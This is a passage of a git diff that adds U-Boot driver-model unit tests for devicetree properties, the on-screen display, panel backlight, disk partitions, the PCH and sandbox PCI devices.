+ ut_assert(abuf_size(&buf) > SZ_16K);
+
+ /* convert it back to a tree and see if it looks OK */
+ check = oftree_from_fdt(abuf_data(&buf));
+ ut_assert(oftree_valid(check));
+
+ ut_assertok(oftree_to_fdt(check, &buf2));
+ ut_assert(abuf_size(&buf2) > SZ_16K);
+ ut_asserteq(abuf_size(&buf), abuf_size(&buf2));
+ ut_asserteq_mem(abuf_data(&buf), abuf_data(&buf2), abuf_size(&buf));
+
+ return 0;
+}
+DM_TEST(dm_test_oftree_to_fdt, UT_TESTF_SCAN_FDT);
+
+/* test ofnode_read_bool() and ofnode_write_bool() */
+static int dm_test_bool(struct unit_test_state *uts)
+{
+ const char *propname = "missing-bool-value";
+ ofnode node;
+
+ node = ofnode_path("/a-test");
+ ut_assert(ofnode_read_bool(node, "bool-value"));
+ ut_assert(!ofnode_read_bool(node, propname));
+ ut_assert(!ofnode_has_property(node, propname));
+
+ ut_assertok(ofnode_write_bool(node, propname, true));
+ ut_assert(ofnode_read_bool(node, propname));
+ ut_assert(ofnode_has_property(node, propname));
+ ut_assert(ofnode_read_bool(node, "bool-value"));
+
+ ut_assertok(ofnode_write_bool(node, propname, false));
+ ut_assert(!ofnode_read_bool(node, propname));
+ ut_assert(!ofnode_has_property(node, propname));
+ ut_assert(ofnode_read_bool(node, "bool-value"));
+
+ return 0;
+}
+DM_TEST(dm_test_bool, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/ofread.c b/test/dm/ofread.c
new file mode 100644
index 00000000000..69d03c49107
--- /dev/null
+++ b/test/dm/ofread.c
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+#include <dm.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+static int dm_test_ofprop_get_property(struct unit_test_state *uts)
+{
+ ofnode node;
+ struct ofprop prop;
+ const void *value;
+ const char *propname;
+ int res, len, count = 0;
+
+ node = ofnode_path("/cros-ec/flash");
+ for (res = ofnode_first_property(node, &prop);
+ !res;
+ res = ofnode_next_property(&prop)) {
+ value = ofprop_get_property(&prop, &propname, &len);
+ ut_assertnonnull(value);
+ switch (count) {
+ case 0:
+ ut_asserteq_str("image-pos", propname);
+ ut_asserteq(4, len);
+ break;
+ case 1:
+ ut_asserteq_str("size", propname);
+ ut_asserteq(4, len);
+ break;
+ case 2:
+ ut_asserteq_str("erase-value", propname);
+ ut_asserteq(4, len);
+ break;
+ case 3:
+ /* only for plat */
+ ut_asserteq_str("name", propname);
+ ut_asserteq(6, len);
+ ut_asserteq_str("flash", value);
+ break;
+ default:
+ break;
+ }
+ count++;
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_ofprop_get_property, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/osd.c b/test/dm/osd.c
new file mode 100644
index 00000000000..cf4a3a545ed
--- /dev/null
+++ b/test/dm/osd.c
@@ -0,0 +1,218 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2018
+ * Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
+ */
+
+#include <display_options.h>
+#include <dm.h>
+#include <video_osd.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#include "../../drivers/video/sandbox_osd.h"
+
+const uint memsize = 2 * 10 * 10;
+
+static void split(u8 *mem, uint size, u8 *text, u8 *colors)
+{
+ int i;
+ u16 *p = (u16 *)mem;
+
+ for (i = 0; i < size; i++) {
+ colors[i] = p[i] % 0x100;
+ text[i] = p[i] / 0x100;
+ }
+}
+
+static void print_mem(u8 *mem, uint width, uint height)
+{
+ const uint memsize = 2 * 10 * 10;
+ u8 colors[memsize / 2];
+ u8 text[memsize / 2];
+ int i;
+
+ split(mem, memsize / 2, text, colors);
+
+ for (i = 0; i < width * height; i++) {
+ printf("%c", text[i]);
+ if (i > 0 && ((i + 1) % width) == 0)
+ printf("\n");
+ }
+
+ printf("\n");
+
+ for (i = 0; i < width * height; i++) {
+ printf("%c", colors[i]);
+ if (i > 0 && ((i + 1) % width) == 0)
+ printf("\n");
+ }
+}
+
+static int dm_test_osd_basics(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u8 mem[memsize + 1];
+ u8 colors[memsize / 2];
+ u8 text[memsize / 2];
+ struct video_osd_info info;
+
+ ut_assertok(uclass_first_device_err(UCLASS_VIDEO_OSD, &dev));
+
+ video_osd_get_info(dev, &info);
+
+ ut_asserteq(10, info.width);
+ ut_asserteq(10, info.height);
+ ut_asserteq(1, info.major_version);
+ ut_asserteq(0, info.minor_version);
+
+ ut_assertok(sandbox_osd_get_mem(dev, mem, memsize));
+ split(mem, memsize / 2, text, colors);
+
+ ut_asserteq_mem(text,
+ " "
+ " "
+ " "
+ " "
+ " "
+ " "
+ " "
+ " "
+ " "
+ " ", memsize / 2);
+
+ ut_asserteq_mem(colors,
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk", memsize / 2);
+
+ print_mem(mem, 10, 10);
+
+ ut_assertok(video_osd_print(dev, 1, 1, COLOR_RED, "Blah"));
+
+ ut_assertok(sandbox_osd_get_mem(dev, mem, memsize));
+ split(mem, memsize / 2, text, colors);
+
+ ut_asserteq_mem(text,
+ " "
+ " Blah "
+ " "
+ " "
+ " "
+ " "
+ " "
+ " "
+ " "
+ " ", memsize / 2);
+
+ ut_asserteq_mem(colors,
+ "kkkkkkkkkk"
+ "krrrrkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk"
+ "kkkkkkkkkk", memsize / 2);
+
+ print_mem(mem, 10, 10);
+
+ return 0;
+}
+
+DM_TEST(dm_test_osd_basics, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_osd_extended(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u8 mem[memsize + 1];
+ u8 colors[memsize / 2];
+ u8 text[memsize / 2];
+ struct video_osd_info info;
+ u16 val;
+
+ ut_assertok(uclass_first_device_err(UCLASS_VIDEO_OSD, &dev));
+
+ ut_assertok(video_osd_set_size(dev, 20, 5));
+
+ video_osd_get_info(dev, &info);
+
+ ut_asserteq(20, info.width);
+ ut_asserteq(5, info.height);
+ ut_asserteq(1, info.major_version);
+ ut_asserteq(0, info.minor_version);
+
+ ut_assertok(sandbox_osd_get_mem(dev, mem, memsize));
+ split(mem, memsize / 2, text, colors);
+
+ ut_asserteq_mem(text,
+ " "
+ " "
+ " "
+ " "
+ " ", memsize / 2);
+
+ ut_asserteq_mem(colors,
+ "kkkkkkkkkkkkkkkkkkkk"
+ "kkkkkkkkkkkkkkkkkkkk"
+ "kkkkkkkkkkkkkkkkkkkk"
+ "kkkkkkkkkkkkkkkkkkkk"
+ "kkkkkkkkkkkkkkkkkkkk", memsize / 2);
+
+ print_mem(mem, 20, 5);
+
+ /* Draw green border */
+ val = '-' * 0x100 + 'g';
+ ut_assertok(video_osd_set_mem(dev, 1, 0, (u8 *)&val, 2, 18));
+ ut_assertok(video_osd_set_mem(dev, 1, 4, (u8 *)&val, 2, 18));
+ ut_assertok(video_osd_print(dev, 0, 1, COLOR_GREEN, "|"));
+ ut_assertok(video_osd_print(dev, 0, 2, COLOR_GREEN, "|"));
+ ut_assertok(video_osd_print(dev, 0, 3, COLOR_GREEN, "|"));
+ ut_assertok(video_osd_print(dev, 19, 1, COLOR_GREEN, "|"));
+ ut_assertok(video_osd_print(dev, 19, 2, COLOR_GREEN, "|"));
+ ut_assertok(video_osd_print(dev, 19, 3, COLOR_GREEN, "|"));
+ ut_assertok(video_osd_print(dev, 0, 0, COLOR_GREEN, "+"));
+ ut_assertok(video_osd_print(dev, 19, 0, COLOR_GREEN, "+"));
+ ut_assertok(video_osd_print(dev, 19, 4, COLOR_GREEN, "+"));
+ ut_assertok(video_osd_print(dev, 0, 4, COLOR_GREEN, "+"));
+
+ /* Add menu caption and entries */
+ ut_assertok(video_osd_print(dev, 5, 0, COLOR_GREEN, " OSD menu "));
+ ut_assertok(video_osd_print(dev, 2, 1, COLOR_BLUE, " * Entry 1"));
+ ut_assertok(video_osd_print(dev, 2, 2, COLOR_BLUE, "(*) Entry 2"));
+ ut_assertok(video_osd_print(dev, 2, 3, COLOR_BLUE, " * Entry 3"));
+
+ ut_assertok(sandbox_osd_get_mem(dev, mem, memsize));
+ split(mem, memsize / 2, text, colors);
+
+ print_mem(mem, 20, 5);
+
+ ut_asserteq_mem(text,
+ "+---- OSD menu ----+"
+ "| * Entry 1 |"
+ "| (*) Entry 2 |"
+ "| * Entry 3 |"
+ "+------------------+", memsize / 2);
+
+ ut_asserteq_mem(colors,
+ "gggggggggggggggggggg"
+ "gkbbbbbbbbbbbkkkkkkg"
+ "gkbbbbbbbbbbbkkkkkkg"
+ "gkbbbbbbbbbbbkkkkkkg"
+ "gggggggggggggggggggg", memsize / 2);
+
+ return 0;
+}
+
+DM_TEST(dm_test_osd_extended, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/p2sb.c b/test/dm/p2sb.c
new file mode 100644
index 00000000000..3ada1fcb362
--- /dev/null
+++ b/test/dm/p2sb.c
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for Primary-to-Sideband bus (P2SB)
+ *
+ * Copyright 2019 Google LLC
+ */
+
+#include <dm.h>
+#include <p2sb.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+/* Base test of the PMC uclass */
+static int dm_test_p2sb_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ sandbox_set_enable_memio(true);
+ ut_assertok(uclass_get_device_by_name(UCLASS_AXI, "adder", &dev));
+ ut_asserteq(0x03000004, pcr_read32(dev, 4));
+ ut_asserteq(0x300, pcr_read16(dev, 6));
+ ut_asserteq(4, pcr_read8(dev, 4));
+
+ return 0;
+}
+DM_TEST(dm_test_p2sb_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/panel.c b/test/dm/panel.c
new file mode 100644
index 00000000000..8be7c397a46
--- /dev/null
+++ b/test/dm/panel.c
@@ -0,0 +1,79 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for panel uclass
+ *
+ * Copyright (c) 2018 Google, Inc
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <backlight.h>
+#include <dm.h>
+#include <panel.h>
+#include <video.h>
+#include <asm/gpio.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <power/regulator.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of the panel uclass */
+static int dm_test_panel(struct unit_test_state *uts)
+{
+ struct udevice *dev, *pwm, *gpio, *reg;
+ uint period_ns;
+ uint duty_ns;
+ bool enable;
+ bool polarity;
+
+ ut_assertok(uclass_first_device_err(UCLASS_PANEL, &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_PWM, "pwm", &pwm));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 1, &gpio));
+ ut_assertok(regulator_get_by_platname("VDD_EMMC_1.8V", &reg));
+ ut_assertok(sandbox_pwm_get_config(pwm, 0, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(false, enable);
+ ut_asserteq(false, regulator_get_enable(reg));
+
+ ut_assertok(panel_enable_backlight(dev));
+ ut_assertok(sandbox_pwm_get_config(pwm, 0, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(1000, period_ns);
+ ut_asserteq(170 * 1000 / 255, duty_ns);
+ ut_asserteq(true, enable);
+ ut_asserteq(false, polarity);
+ ut_asserteq(1, sandbox_gpio_get_value(gpio, 1));
+ ut_asserteq(true, regulator_get_enable(reg));
+
+ ut_assertok(panel_set_backlight(dev, 40));
+ ut_assertok(sandbox_pwm_get_config(pwm, 0, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(64 * 1000 / 255, duty_ns);
+
+ ut_assertok(panel_set_backlight(dev, BACKLIGHT_MAX));
+ ut_assertok(sandbox_pwm_get_config(pwm, 0, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(255 * 1000 / 255, duty_ns);
+
+ ut_assertok(panel_set_backlight(dev, BACKLIGHT_MIN));
+ ut_assertok(sandbox_pwm_get_config(pwm, 0, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(0 * 1000 / 255, duty_ns);
+ ut_asserteq(1, sandbox_gpio_get_value(gpio, 1));
+
+ ut_assertok(panel_set_backlight(dev, BACKLIGHT_DEFAULT));
+ ut_assertok(sandbox_pwm_get_config(pwm, 0, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(true, enable);
+ ut_asserteq(170 * 1000 / 255, duty_ns);
+
+ ut_assertok(panel_set_backlight(dev, BACKLIGHT_OFF));
+ ut_assertok(sandbox_pwm_get_config(pwm, 0, &period_ns, &duty_ns,
+ &enable, &polarity));
+ ut_asserteq(0 * 1000 / 255, duty_ns);
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, 1));
+ ut_asserteq(false, regulator_get_enable(reg));
+
+ return 0;
+}
+DM_TEST(dm_test_panel, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/part.c b/test/dm/part.c
new file mode 100644
index 00000000000..cabb31d18ca
--- /dev/null
+++ b/test/dm/part.c
@@ -0,0 +1,196 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2020 Sean Anderson <sean.anderson@seco.com>
+ */
+
+#include <dm.h>
+#include <mmc.h>
+#include <part.h>
+#include <part_efi.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+static int do_test(struct unit_test_state *uts, int expected,
+ const char *part_str, bool whole)
+{
+ struct blk_desc *mmc_dev_desc;
+ struct disk_partition part_info;
+
+ int ret = part_get_info_by_dev_and_name_or_num("mmc", part_str,
+ &mmc_dev_desc,
+ &part_info, whole);
+
+ ut_assertf(expected == ret, "test(%d, \"%s\", %d) == %d", expected,
+ part_str, whole, ret);
+ return 0;
+}
+
+static int dm_test_part(struct unit_test_state *uts)
+{
+ char *oldbootdevice;
+ char str_disk_guid[UUID_STR_LEN + 1];
+ int ret;
+ struct blk_desc *mmc_dev_desc;
+ struct disk_partition parts[2] = {
+ {
+ .start = 48, /* GPT data takes up the first 34 blocks or so */
+ .size = 1,
+ .name = "test1",
+ },
+ {
+ .start = 49,
+ .size = 1,
+ .name = "test2",
+ },
+ };
+
+ ut_asserteq(2, blk_get_device_by_str("mmc", "2", &mmc_dev_desc));
+ if (CONFIG_IS_ENABLED(RANDOM_UUID)) {
+ gen_rand_uuid_str(parts[0].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(parts[1].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(str_disk_guid, UUID_STR_FORMAT_STD);
+ }
+ ut_assertok(gpt_restore(mmc_dev_desc, str_disk_guid, parts,
+ ARRAY_SIZE(parts)));
+
+ oldbootdevice = env_get("bootdevice");
+
+#define test(expected, part_str, whole) \
+ ut_assertok(do_test(uts, expected, part_str, whole))
+
+ env_set("bootdevice", NULL);
+ test(-ENODEV, NULL, true);
+ test(-ENODEV, "", true);
+ env_set("bootdevice", "0");
+ test(0, NULL, true);
+ test(0, "", true);
+ env_set("bootdevice", "2");
+ test(1, NULL, false);
+ test(1, "", false);
+ test(1, "-", false);
+ env_set("bootdevice", "");
+ test(-EPROTONOSUPPORT, "0", false);
+ test(0, "0", true);
+ test(0, ":0", true);
+ test(0, ".0", true);
+ test(0, ".0:0", true);
+ test(-EINVAL, "#test1", true);
+ test(1, "2", false);
+ test(1, "2", true);
+ test(-ENOENT, "2:0", false);
+ test(0, "2:0", true);
+ test(1, "2:1", false);
+ test(2, "2:2", false);
+ test(1, "2.0", false);
+ test(0, "2.0:0", true);
+ test(1, "2.0:1", false);
+ test(2, "2.0:2", false);
+ test(-EINVAL, "2#bogus", false);
+ test(1, "2#test1", false);
+ test(2, "2#test2", false);
+ ret = 0;
+
+ env_set("bootdevice", oldbootdevice);
+ return ret;
+}
+DM_TEST(dm_test_part, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_part_bootable(struct unit_test_state *uts)
+{
+ struct blk_desc *desc;
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_BLK, "mmc1.blk", &dev));
+ desc = dev_get_uclass_plat(dev);
+ ut_asserteq(1, part_get_bootable(desc));
+
+ return 0;
+}
+DM_TEST(dm_test_part_bootable, UT_TESTF_SCAN_FDT);
+
+static int do_get_info_test(struct unit_test_state *uts,
+ struct blk_desc *dev_desc, int part, int part_type,
+ struct disk_partition const *reference)
+{
+ struct disk_partition p;
+ int ret;
+
+ memset(&p, 0, sizeof(p));
+
+ ret = part_get_info_by_type(dev_desc, part, part_type, &p);
+ printf("part_get_info_by_type(%d, 0x%x) = %d\n", part, part_type, ret);
+ if (ut_assertok(ret)) {
+ return 0;
+ }
+
+ ut_asserteq(reference->start, p.start);
+ ut_asserteq(reference->size, p.size);
+ ut_asserteq(reference->sys_ind, p.sys_ind);
+
+ return 0;
+}
+
+static int dm_test_part_get_info_by_type(struct unit_test_state *uts)
+{
+ char str_disk_guid[UUID_STR_LEN + 1];
+ struct blk_desc *mmc_dev_desc;
+ struct disk_partition gpt_parts[] = {
+ {
+ .start = 48, /* GPT data takes up the first 34 blocks or so */
+ .size = 1,
+ .name = "test1",
+ .sys_ind = 0,
+ },
+ {
+ .start = 49,
+ .size = 1,
+ .name = "test2",
+ .sys_ind = 0,
+ },
+ };
+ struct disk_partition mbr_parts[] = {
+ {
+ .start = 1,
+ .size = 33,
+ .name = "gpt",
+ .sys_ind = EFI_PMBR_OSTYPE_EFI_GPT,
+ },
+ {
+ .start = 48,
+ .size = 1,
+ .name = "test1",
+ .sys_ind = 0x83,
+ },
+ };
+
+ ut_asserteq(2, blk_get_device_by_str("mmc", "2", &mmc_dev_desc));
+ if (CONFIG_IS_ENABLED(RANDOM_UUID)) {
+ gen_rand_uuid_str(gpt_parts[0].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(gpt_parts[1].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(str_disk_guid, UUID_STR_FORMAT_STD);
+ }
+ ut_assertok(gpt_restore(mmc_dev_desc, str_disk_guid, gpt_parts,
+ ARRAY_SIZE(gpt_parts)));
+
+ ut_assertok(write_mbr_partitions(mmc_dev_desc, mbr_parts,
+ ARRAY_SIZE(mbr_parts), 0));
+
+#define get_info_test(_part, _part_type, _reference) \
+ ut_assertok(do_get_info_test(uts, mmc_dev_desc, _part, _part_type, \
+ _reference))
+
+ for (int i = 0; i < ARRAY_SIZE(gpt_parts); i++) {
+ get_info_test(i + 1, PART_TYPE_UNKNOWN, &gpt_parts[i]);
+ }
+
+ for (int i = 0; i < ARRAY_SIZE(mbr_parts); i++) {
+ get_info_test(i + 1, PART_TYPE_DOS, &mbr_parts[i]);
+ }
+
+ for (int i = 0; i < ARRAY_SIZE(gpt_parts); i++) {
+ get_info_test(i + 1, PART_TYPE_EFI, &gpt_parts[i]);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_part_get_info_by_type, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/pch.c b/test/dm/pch.c
new file mode 100644
index 00000000000..b37b856d5da
--- /dev/null
+++ b/test/dm/pch.c
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2018 Google LLC
+ */
+
+#include <dm.h>
+#include <pch.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that sandbox PCH works correctly */
+static int dm_test_pch_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u32 gbase, iobase;
+ ulong sbase;
+
+ ut_assertok(uclass_first_device_err(UCLASS_PCH, &dev));
+ ut_assertok(pch_get_spi_base(dev, &sbase));
+ ut_asserteq(0x10, sbase);
+
+ ut_asserteq(0, sandbox_get_pch_spi_protect(dev));
+ ut_assertok(pch_set_spi_protect(dev, true));
+ ut_asserteq(1, sandbox_get_pch_spi_protect(dev));
+
+ ut_assertok(pch_get_gpio_base(dev, &gbase));
+ ut_asserteq(0x20, gbase);
+
+ ut_assertok(pch_get_io_base(dev, &iobase));
+ ut_asserteq(0x30, iobase);
+
+ return 0;
+}
+DM_TEST(dm_test_pch_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test sandbox PCH ioctl */
+static int dm_test_pch_ioctl(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ char data;
+
+ ut_assertok(uclass_first_device_err(UCLASS_PCH, &dev));
+
+ ut_asserteq(-ENOSYS, pch_ioctl(dev, PCH_REQ_TEST1, NULL, 0));
+
+ ut_asserteq('a', pch_ioctl(dev, PCH_REQ_TEST2, "a", 1));
+
+ ut_asserteq(1, pch_ioctl(dev, PCH_REQ_TEST3, &data, 1));
+ ut_asserteq('x', data);
+
+ return 0;
+}
+DM_TEST(dm_test_pch_ioctl, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/pci.c b/test/dm/pci.c
new file mode 100644
index 00000000000..9b97f2e0544
--- /dev/null
+++ b/test/dm/pci.c
@@ -0,0 +1,489 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <asm/io.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that sandbox PCI works correctly */
+static int dm_test_pci_base(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+
+ ut_assertok(uclass_get_device(UCLASS_PCI, 0, &bus));
+
+ return 0;
+}
+DM_TEST(dm_test_pci_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that sandbox PCI bus numbering and device works correctly */
+static int dm_test_pci_busdev(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+ struct udevice *swap;
+ u16 vendor, device;
+
+ /* Test bus#0 and its devices */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_PCI, 0, &bus));
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x00, 0), &swap));
+ vendor = 0;
+ ut_assertok(dm_pci_read_config16(swap, PCI_VENDOR_ID, &vendor));
+ ut_asserteq(SANDBOX_PCI_VENDOR_ID, vendor);
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1f, 0), &swap));
+ device = 0;
+ ut_assertok(dm_pci_read_config16(swap, PCI_DEVICE_ID, &device));
+ ut_asserteq(SANDBOX_PCI_SWAP_CASE_EMUL_ID, device);
+
+ /* Test bus#1 and its devices */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_PCI, 1, &bus));
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x08, 0), &swap));
+ vendor = 0;
+ ut_assertok(dm_pci_read_config16(swap, PCI_VENDOR_ID, &vendor));
+ ut_asserteq(SANDBOX_PCI_VENDOR_ID, vendor);
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x0c, 0), &swap));
+ device = 0;
+ ut_assertok(dm_pci_read_config16(swap, PCI_DEVICE_ID, &device));
+ ut_asserteq(SANDBOX_PCI_SWAP_CASE_EMUL_ID, device);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_busdev, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can use the swapcase device correctly */
+static int dm_test_pci_swapcase(struct unit_test_state *uts)
+{
+ struct udevice *swap;
+ ulong io_addr, mem_addr;
+ char *ptr;
+
+ /* Check that asking for the device 0 automatically fires up PCI */
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x00, 0), &swap));
+
+ /* First test I/O */
+ io_addr = dm_pci_read_bar32(swap, 0);
+ outb(2, io_addr);
+ ut_asserteq(2, inb(io_addr));
+
+ /*
+ * Now test memory mapping - note we must unmap and remap to cause
+ * the swapcase emulation to see our data and response.
+ */
+ mem_addr = dm_pci_read_bar32(swap, 1);
+ ptr = map_sysmem(mem_addr, 20);
+ strcpy(ptr, "This is a TesT");
+ unmap_sysmem(ptr);
+
+ ptr = map_sysmem(mem_addr, 20);
+ ut_asserteq_str("tHIS IS A tESt", ptr);
+ unmap_sysmem(ptr);
+
+ /* Check that asking for the device 1 automatically fires up PCI */
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1f, 0), &swap));
+
+ /* First test I/O */
+ io_addr = dm_pci_read_bar32(swap, 0);
+ outb(2, io_addr);
+ ut_asserteq(2, inb(io_addr));
+
+ /*
+ * Now test memory mapping - note we must unmap and remap to cause
+ * the swapcase emulation to see our data and response.
+ */
+ mem_addr = dm_pci_read_bar32(swap, 1);
+ ptr = map_sysmem(mem_addr, 20);
+ strcpy(ptr, "This is a TesT");
+ unmap_sysmem(ptr);
+
+ ptr = map_sysmem(mem_addr, 20);
+ ut_asserteq_str("tHIS IS A tESt", ptr);
+ unmap_sysmem(ptr);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_swapcase, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can dynamically bind the device driver correctly */
+static int dm_test_pci_drvdata(struct unit_test_state *uts)
+{
+ struct udevice *bus, *swap;
+
+ /* Check that asking for the device automatically fires up PCI */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_PCI, 1, &bus));
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x08, 0), &swap));
+ ut_asserteq(SWAP_CASE_DRV_DATA, swap->driver_data);
+ ut_assertok(dev_has_ofnode(swap));
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x0c, 0), &swap));
+ ut_asserteq(SWAP_CASE_DRV_DATA, swap->driver_data);
+ ut_assertok(dev_has_ofnode(swap));
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x10, 0), &swap));
+ ut_asserteq(SWAP_CASE_DRV_DATA, swap->driver_data);
+ ut_assertok(!dev_has_ofnode(swap));
+
+ return 0;
+}
+DM_TEST(dm_test_pci_drvdata, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that devices on PCI bus#2 can be accessed correctly */
+static int dm_test_pci_mixed(struct unit_test_state *uts)
+{
+ /* PCI bus#2 has both statically and dynamic declared devices */
+ struct udevice *bus, *swap;
+ u16 vendor, device;
+ ulong io_addr, mem_addr;
+ char *ptr;
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_PCI, 2, &bus));
+
+ /* Test the dynamic device */
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(2, 0x08, 0), &swap));
+ vendor = 0;
+ ut_assertok(dm_pci_read_config16(swap, PCI_VENDOR_ID, &vendor));
+ ut_asserteq(SANDBOX_PCI_VENDOR_ID, vendor);
+
+ /* First test I/O */
+ io_addr = dm_pci_read_bar32(swap, 0);
+ outb(2, io_addr);
+ ut_asserteq(2, inb(io_addr));
+
+ /*
+ * Now test memory mapping - note we must unmap and remap to cause
+ * the swapcase emulation to see our data and response.
+ */
+ mem_addr = dm_pci_read_bar32(swap, 1);
+ ptr = map_sysmem(mem_addr, 30);
+ strcpy(ptr, "This is a TesT oN dYNAMIc");
+ unmap_sysmem(ptr);
+
+ ptr = map_sysmem(mem_addr, 30);
+ ut_asserteq_str("tHIS IS A tESt On DynamiC", ptr);
+ unmap_sysmem(ptr);
+
+ /* Test the static device */
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(2, 0x1f, 0), &swap));
+ device = 0;
+ ut_assertok(dm_pci_read_config16(swap, PCI_DEVICE_ID, &device));
+ ut_asserteq(SANDBOX_PCI_SWAP_CASE_EMUL_ID, device);
+
+ /* First test I/O */
+ io_addr = dm_pci_read_bar32(swap, 0);
+ outb(2, io_addr);
+ ut_asserteq(2, inb(io_addr));
+
+ /*
+ * Now test memory mapping - note we must unmap and remap to cause
+ * the swapcase emulation to see our data and response.
+ */
+ mem_addr = dm_pci_read_bar32(swap, 1);
+ ptr = map_sysmem(mem_addr, 30);
+ strcpy(ptr, "This is a TesT oN sTATIc");
+ unmap_sysmem(ptr);
+
+ ptr = map_sysmem(mem_addr, 30);
+ ut_asserteq_str("tHIS IS A tESt On StatiC", ptr);
+ unmap_sysmem(ptr);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_mixed, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test looking up PCI capability and extended capability */
+static int dm_test_pci_cap(struct unit_test_state *uts)
+{
+ struct udevice *bus, *swap;
+ int cap;
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_PCI, 0, &bus));
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1f, 0), &swap));
+
+ /* look up PCI_CAP_ID_EXP */
+ cap = dm_pci_find_capability(swap, PCI_CAP_ID_EXP);
+ ut_asserteq(PCI_CAP_ID_EXP_OFFSET, cap);
+
+ /* look up PCI_CAP_ID_PCIX */
+ cap = dm_pci_find_capability(swap, PCI_CAP_ID_PCIX);
